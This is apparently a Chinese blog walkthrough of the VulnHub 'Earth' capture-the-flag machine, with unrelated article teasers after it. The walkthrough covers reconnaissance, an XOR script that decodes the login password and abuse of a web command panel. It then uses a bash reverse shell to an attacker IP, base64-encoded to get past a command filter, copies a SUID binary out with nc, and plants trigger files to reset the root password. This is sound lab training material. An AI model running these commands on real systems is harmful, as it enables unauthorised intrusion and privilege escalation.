当前位置：首页 > news >正文

vulnhub Earth靶机

news 来源：原创 2025/5/16 12:26:47

搭建靶机直接拖进来就行

1.扫描靶机IP

arp-scan -l

2.信息收集

nmap -sS -A -T4 192.168.47.132

得到两个DNS;

在443端口处会让我们加https

dirb https://earth.local/
dirb https://terratest.earth.local/

#页面下有三行数值
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d403714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b452402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

访问https://terratest.earth.local/robots.txt

在robots.txt中最后有一个/testingnotes.*;这可能是txt为后缀

意思是

获得账号用户名:terra

密码应该就是那三串;使用XOR加密

访问testdata.txt

意思是

#密钥
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

3.漏洞利用

写一个python脚本

import binasciientry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

获得key

仔细看不难发现都是围着这个来循环的

earthclimatechangebad4humans

我们去登录吧

账号:
terra
密码:
earthclimatechangebad4humans

这里是一个命令执行界面

find / -name "*flag*.txt"
cat /var/earth_web/user_flag.txt
获取第一个flag

4.提权

反弹shell

对命令进行了过滤
bash -i >& /dev/tcp/192.168.47.130/8888 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE=
结合解码命令
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE= | base64 -d | bash

成功弹到

先查看一下有权限的文件

find / -perm -u=s -type f 2>/dev/null

strings /usr/bin/reset_root

看到一条信息：大概意思是修改root密码为Earth
尝试执行reset_root

reset_root

提示触发器不存在

由于靶机没有ltrace，所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口，并将接收到的内容重定向到文件reset_root/

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.131.128 2222 < /usr/bin/reset_root

可以看出会检查触发器是否存在为条件，这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹，再执行reset_root，成功重置root密码为Earth

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

这里可以登录拿到flag

vulnhub Earth靶机

搭建靶机直接拖进来就行 1.扫描靶机IP arp-scan -l 2.信息收集 nmap -sS -A -T4 192.168.47.132 得到两个DNS; 在443端口处会让我们加https dirb https://earth.local/ dirb https://terratest.earth.local/ #页面下有三行数值 37090b59030f11060b0a1b4e0000000000004312170a…...

编程日记 2025/5/16 12:26:47

ScheduledExecutorService详解

ScheduledExecutorService 是 Java 并发工具包 (java.util.concurrent) 中的一个接口，用于在指定的延迟后执行任务，或者以固定的时间间隔周期性执行任务。它是 ExecutorService 的子接口，提供了更强大的调度功能。 ScheduledExecutorService…...

编程日记 2025/5/14 17:35:25

logback日志文件多环境配置路径

项目中遇到问题，springboot项目本地jar包部署到现场后，经常遇到现场的日志存放的路径会更改，经过查阅，有两种方式，下面简单说明一下。一、第一种启动jar包时添加参数 --logging.configF:\hgtest\config\logback.x…...

编程日记 2025/5/12 17:42:14

判断一个变量是否为NaN

1. JS代码 NaN（不是一个数字，但数据类型为number）是执行数学运算没有成功，返回失败的结果。另外，NaN 不等于 NaN 。 //利用 NaN 是唯一一个不等于自身的特点 function _isNaN(val) {if (val ! val) {return true;}ret…...

编程日记 2025/5/15 13:18:49

Flask 快速入门

1. Flask 简介 1.1 什么是 Flask Flask 是一个用 Python 编写的轻量级 Web 框架，被誉为微框架。它提供基础功能，如路由、请求处理和模板引擎，但不强迫开发者使用特定库或工具，赋予开发人员高度的自由选择权，以满足不…...

编程日记 2025/5/16 11:37:12

性能测试03|JMeter：断言、关联、web脚本录制

目录一、断言 1、响应断言 2、json断言 3、持续时间断言二、关联 1、正则表达式介绍 2、正则表达式提取器 3、Xpath提取器 4、JSON提取器 5、JMeter属性三、web脚本录制一、断言定义：让程序自动判断实际的返回结果是否与预期结果保持一致自动校验…...

编程日记 2025/5/16 11:29:48

微信小程序调用 WebAssembly 烹饪指南

我们都是在夜里崩溃过的俗人，所幸终会天亮。明天就是新的开始，我们会变得与昨天不同。一、Rust 导出 wasm 参考 wasm-bindgen 官方指南 https://wasm.rust-lang.net.cn/wasm-bindgen/introduction.html wasm-bindgen，这是一个 Rust 库和 CLI…...

编程日记 2025/5/15 14:57:07

java_配置使用nacos完整示例

参考：49 尚上优选项目-平台管理端-整合ESMQ实现商品上下架-流程分析_哔哩哔哩_bilibili 1. 下载安装nacos https://github.com/alibaba/nacos/releases 2. 解压，运行 PS D:\path/to\nacos-server-2.4.3\nacos\bin> .\startup.cmd -m standalone 3.…...

编程日记 2025/5/10 20:17:55

Go语言性能优化-字符串格式化优化

在 Go 语言中，格式化字符串（例如使用 fmt.Sprintf、fmt.Printf 等函数）确实可能对性能产生影响，尤其是当频繁执行格式化操作时。格式化字符串涉及对格式符的解析和数据类型的转换，这会增加额外的开销。为了减少格式化字符串带来的性能影响，可以采取以下一些优化策略： 1…...

编程日记 2025/5/16 12:18:21

Spring源码分析之事件机制——观察者模式（二）

目录获取监听器的入口方法实际检索监听器的核心方法监听器类型检查方法监听器的注册过程监听器的存储结构过程总结 Spring源码分析之事件机制——观察者模式（一）-CSDN博客 Spring源码分析之事件机制——观察者模式（二&#xff…...

编程日记 2025/5/16 11:50:27

机器学习和深度学习

机器学习（Machine Learning，简称 ML）和深度学习（Deep Learning，简称 DL）都是人工智能（AI）领域的重要技术，它们的目标是使计算机通过数据学习和自主改进，从而完…...

编程日记 2025/5/16 10:59:33

MetaGPT - 多Agent框架

文章目录一、关于 MetaGPT功能介绍快速开始的演示视频教程二、安装Pip安装Docker安装一、关于 MetaGPT MetaGPT 为GPTs分配不同的角色，以形成一个协作实体来完成复杂的任务。 github : https://github.com/geekan/MetaGPTtwitter : https://twitter.com/MetaGP…...

编程日记 2025/5/1 14:12:42

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统？ A hy…...

编程日记 2025/5/11 20:40:28

TIM的输入捕获

IC（Input Capture）输入捕获输入捕获模式下，当通道输入引脚出现指定电平跳变时，当前CNT的值将被锁存到CCR中我们使用测周法测频率 void IC_Init(void) {RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);RCC_APB1PeriphCl…...

编程日记 2025/5/16 12:13:42

SCAU期末笔记 - 数据库系统概念往年试卷解析

数据库搞得人一头雾水，题型太多太杂，已经准备摆烂了。就刷刷往年试卷，挂不挂听天由命。 2019年 Question 1 选择题 1. R ∩ S R∩S R∩S等于一下哪个选项？ 画个文氏图秒了所以选A. R ∩ S R − ( R − S ) R∩SR-(R-S) R∩…...

编程日记 2025/5/15 15:56:35

黑马跟学.苍穹外卖.Day01

黑马跟学.苍穹外卖.Day01 苍穹外卖-day01课程内容1. 软件开发整体介绍1.1 软件开发流程1.2 角色分工1.3 软件环境 2. 苍穹外卖项目介绍2.1 项目介绍2.2 产品原型2.3 技术选型 3. 开发环境搭建3.1 前端环境搭建3.2 后端环境搭建3.2.1 熟悉项目结构3.2.2 Git版本控制3.2.3 数据库…...

编程日记 2025/5/14 23:25:35

获取系统启动时间

获取系统启动时间 uptime命令 gbgb:~$ uptime09:29:41 up 2:21, 4 users, load average: 0.00, 0.00, 0.00 gbgb:~$ 这里的up 13 min表示系统已经运行了2个小时13分钟。 date 命令 /proc/uptime gbgb:~$ date -d "$(awk -F. {print $1} /proc/uptime) second ago&…...

编程日记 2025/5/16 11:05:46

Istio 补充 Kubernetes 的不足

1 Istio 补充 Kubernetes 的不足 Kubernetes 强大但无法解决复杂分布式系统中的非功能性需求，如流量路由、协议转换、请求重试和负载均衡。Istio作为Service Mesh，通过独立的代理进程处理这些需求，避免直接修改业务代码。 2. 独立的代理进程…...

编程日记 2025/5/15 12:27:29

以图像识别为例，关于卷积神经网络（CNN）的直观解释

大家读完觉得有意义记得关注和点赞！！！ 作者以图像识别为例，用图文而非数学公式的方式解释了卷积神经网络的工作原理， 适合初学者和外行扫盲。目录 1 卷积神经网络（CNN） 1.1 应用场景 1.2 起…...

编程日记 2025/5/16 11:19:34

使用PyTorch实现基于稀疏编码的生成对抗网络（GAN）在CIFAR-10数据集上的应用

使用PyTorch实现基于稀疏编码的生成对抗网络（GAN）在CIFAR-10数据集上的应用目录使用PyTorch实现基于稀疏编码的生成对抗网络（GAN）在CIFAR-10数据集上的应用1. 引言2. 数据集介绍3. 模型网络结构3.1 网络结构3.2 编码器3.3 生成器3.4 判别器4. 模型优化器与损失函数4.1 优…...

编程日记 2025/5/16 6:48:04

Java重要面试名词整理（十八）：Sentinel

文章目录服务雪崩及其解决方案技术选型: Sentinel or Hystrix 流量治理组件Sentinel**基于SentinelResource注解埋点实现资源保护** Sentinel控制台**限流阈值类型****流控模式****直接****关联** **流控效果**系统规则——系统自适应保护限流算法**计数器法****滑动时间窗口…...

编程日记 2025/5/13 17:07:36

【微信小程序获取用户手机号

微信小程序获取用户手机号有2种,一种是前端自己解密,一种是获取后发给后端,后端去解密重点:要在微信公众平台设置里面绑定微信开放平台账号,不然反解不出来用户手机号上代码: <button style"font-size: 16px;" open-type"getPhoneNumber" getphonenumb…...

编程日记 2025/5/16 2:33:15

Profinet转EtherNet/IP网关连接AB PLC的应用案例

某大型制造企业的生产车间同时采用了西门子 S7 - 1500 PLC 作为核心控制系统的一部分，负责主要生产流程的控制与数据处理；而在特定生产环节，由于历史设备遗留或工艺配套需求，存在使用 AB PLC 的情况。这就导致了在整个自动化生产系…...

编程日记 2025/5/14 2:13:06

Maven的依赖管理

1. 依赖管理依赖管理，可以将有关依赖项的所有信息放在共同的POM中，并对子POM中的工件进行更简单的引用。举个例子： 父POM <project>......<dependencyManagement><dependencies><dependency><groupId>gro…...

编程日记 2025/5/16 11:25:03

验证码识别插件 - captcha-killer

验证码识别插件 - captcha-killer 简介 captcha-killer 是一款用于 Burpsuite 的验证码识别插件。它的主要功能是调用各种验证码识别接口，以便在进行渗透测试时能够自动识别和绕过验证码。这个插件本身并不直接进行验证码的识别，而是通过调用外部的 OC…...

编程日记 2025/5/16 11:02:12

面试题解，Java中的“对象”剖析

一、说一说JVM中对象的内存布局？new一个对象到底占多大内存？ 话不多说，看下图，对象的内存布局图一个对象的内存布局主要由三部分组成：对象头（Object Header）、实例数据（Instance D…...

编程日记 2025/5/16 11:41:41

对计网大题的一些指正（中间介绍一下CDM的原理和应用）

目录前言： （1）五层原理体系结构每层功能： 下面是文档的答案： 我在之前的博客里面有介绍过五层原理体系结构， 按理来说，第五层应该是应用层才对，而会话层的功能应该被放到应用层…...

编程日记 2025/5/3 22:04:19

122. 买卖股票的最佳时机 II

https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-ii/description/?envTypestudy-plan-v2&envIdtop-interview-150问题分析： 和买卖股票的最佳时机I这题相比，区别就是可以买多只股票虽然同时只能持有一支，但是我们还是可以…...

编程日记 2025/5/16 11:52:20

qt中如何判断字符串是否为数字，整数，浮点数？

在 Qt 中，可以使用多种方法来判断字符串是否为数字、整数或浮点数。Qt 提供了一些方便的字符串和数值处理函数，可以帮助你实现这些判断。以下是几种常见的方法： 1. 使用 QRegularExpression Qt 提供了 QRegularExpression 类，可…...

编程日记 2025/5/15 8:51:03

《GICv3_Software_Overview_Official_Release_B》学习笔记

1.不同版本的 GIC 架构及其主要功能如下图所示： 2.GICv2m（Generic Interrupt Controller Virtualization Model）是针对ARM架构的GIC（通用中断控制器）的一种扩展， GICv2m扩展为虚拟化环境中的中断管理提供了…...

编程日记 2025/5/8 15:24:41

告别Kibana：Elasticsearch 桌面客户端的新变革

告别Kibana：Elasticsearch 桌面客户端的新变革在大数据处理与分析领域，Elasticsearch 及其相关技术的应用日益广泛。长期以来，Kibana 在数据可视化与查询管理方面占据重要地位，但随着技术的不断发展，用户对于更高效、…...

编程日记 2025/5/16 10:59:33

【蓝桥杯研究生组】第14届Java试题答案整理

试题链接：链接 A题满足条件的答案有：35813116 public class TianShu {public static void main(String[] args) {int ans 0;// 2000.1.1 - 2000000.1.1// 年份是月份的倍数，也是日的倍数for (int year2000; year<2000000; year) {for …...

编程日记 2025/5/16 4:52:17

链式调用方式重写父类set方法导致fastjson解析的对象属性未赋值

反序列化后发现属性为null 昨天使用fastjson的JSON.parseArray(json, class)反序列化的时候，发现返回的list列表中的对象某个属性为null，但是json字符串里面这个属性是有值的，经过排查发现是因为子类重写了父类的set方法，且返回值…...

编程日记 2025/5/16 12:11:32

[AUTOSAR 基础入门] - AUTOSAR配置工具

返回总目录前文我们提到了要借助 EasySAR 平台来助力大家更好地融合 AUTOSAR 的理论与实践，让大家能够切实将所学知识转化为实际操作能力。建议大家感兴趣的去注册一下看看。跳转链接：EasySAR EasySAR是昂辉科技基于 AUTOSAR 方法论设计的一款面向汽车…...

编程日记 2025/5/14 11:47:45

鸿蒙开发：实现键值数据库存储

前言鸿蒙当中数据持久化存储，为我们提供了多种的实现方式，比如用户首选项方式，关系型数据库方式，键值型数据库方式，文件存储方式等等，对于数据量比较的小的，我们直接选择轻量级的用户首选项方式…...

编程日记 2025/5/10 17:32:23

ip属地的信息准确吗？ip归属地不准确怎么办

在数字化时代，IP属地信息成为了我们日常生活中不可或缺的一部分。在各大社交媒体平台上，IP属地信息都扮演着重要的角色。然而，随着技术的不断进步和网络的复杂性增加，IP属地信息的准确性问题也日益凸显。那么，IP属地信…...

编程日记 2025/5/12 17:40:11

CSS——1.优缺点

<!DOCTYPE html> <html><head><meta charset"UTF-8"><title></title><link rel"stylesheet" type"text/css" href"1-02.css"/></head><body><!--css：层叠样式表…...

编程日记 2025/5/13 13:40:14

Android设备使用AOA协议进行主机与配件模式通信

1.使用TYPC-C数据线连接两台华为手机： TYPE-C线，先连接下图右边的ACCESSORY 再连接左边的HOST 此时左边的HOST(白色) 会给右边的ACCESSORY(黑色) 充电接着打开左连接的HostChart会自动调起授权，然后会启动右边的AccessoryChart USB HOS…...

编程日记 2025/5/12 12:27:05

MySQL中深度分页问题的优化

MySQL中深度分页问题的优化在MySQL中，使用LIMIT子句进行分页查询时，可能会遇到一个常见的性能问题：当LIMIT子句中的偏移量X很大时，查询速度会显著下降。例如，LIMIT 0,10可能只需要20毫秒，而LIMIT 1000000,…...

编程日记 2025/5/15 1:35:19

5. C语言常量与宏定义

本章目录: 前言一、什么是常量？1. 整型常量2. 浮点型常量3. 字符常量4. 字符串常量二、如何定义常量？1. 使用 #define 宏定义2. 使用 const 关键字三、#define 和 const 的区别四、使用建议1. 使用场景区分2. 避免宏定义的潜在问题五、特殊用法与小技…...

编程日记 2025/5/13 9:03:28

【mybatis-plus问题集锦系列】mybatis使用xml配置文件实现数据的基础增删改查

简单的数据查询，我们可以在mapper接口里面去实现，但是如果是复杂的查询，我们就可以使用xml配置文件去做， 官网链接xml配置文件实现效果实现代码根据mapper接口的包结构，在resources包里面新建同名同结构的xml文件…...

编程日记 2025/5/14 7:31:19

spring防止重复点击，两种注解实现（AOP）

第一种：EasyLock 简介为了简化可复用注解，自己实现的注解，代码简单随拿随用使用方式 1.创建一个注解 Target(ElementType.METHOD) Retention(RetentionPolicy.RUNTIME) Documented public interface EasyLock {long waitTime() default …...

编程日记 2025/5/12 2:15:55

Spring Boot 3 实现 MySQL 主从数据库之间的数据同步

✅ Spring Boot 3 实现 MySQL 主从数据库之间的数据同步在实际项目中，为了提高系统的读性能和数据的可用性，通常会使用主从数据库架构。Spring Boot 提供了对多数据源的良好支持，可以轻松配置主从数据库的数据同步，实现读写分离。 🎯 方案介绍我们将通过 Sp…...

编程日记 2025/5/6 6:01:29

WPS-JS宏快速上手

WPS JS宏注意事项代码后面可以不写分号“ ; ”； 缩进对程序的运行影响不大，但为了易读（防止自己以后看不懂），还是乖乖写好； 代码是逐行运行的，意味着下面一行代码错了，前面的代码…...

编程日记 2025/5/11 10:59:06

力扣hot100——堆

215. 数组中的第K个最大元素快速排序 class Solution { public:int findKthLargest(vector<int>& a, int k) {auto qsort [&](this auto&& qsort, int l, int r) -> void {if (l r) return;int i l - 1, j r 1;int x a[(l r) / 2];/*如果把…...

编程日记 2025/5/16 2:52:07

【小制作】米家模拟手指点击

代码功能解释这段代码是一个基于Arduino平台的控制程序，主要功能包括： 初始化：设置引脚模式、初始化编码器、舵机和EEPROM。按键检测：处理按钮的单击、双击和长按事件，并根据事件执行相应操作。编码器更新&#xff…...

编程日记 2025/5/14 8:59:56

ubuntu1604 apt镜像源切换

1、如何查看当前源 cat /etc/apt/sources.list less /etc/apt/sources.list 2、apt源修改为阿里镜像，这里ubuntu是1604： deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/…...

编程日记 2025/5/14 4:36:01